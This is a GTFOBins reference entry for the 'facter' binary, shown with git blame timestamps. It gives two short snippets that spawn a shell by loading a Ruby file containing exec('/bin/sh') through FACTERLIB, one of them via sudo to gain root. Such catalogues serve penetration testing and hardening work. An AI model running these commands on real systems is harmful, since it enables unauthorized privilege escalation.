GTFOBins.github.io/_gtfobins/facter.md

14 lines
259 B
Markdown
Raw Normal View History

2018-09-04 13:42:37 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-09-04 13:42:37 +02:00
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
2018-10-05 19:55:38 +02:00
sudo:
2018-09-04 13:42:37 +02:00
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
sudo FACTERLIB=$TF facter
2018-09-04 13:42:37 +02:00
---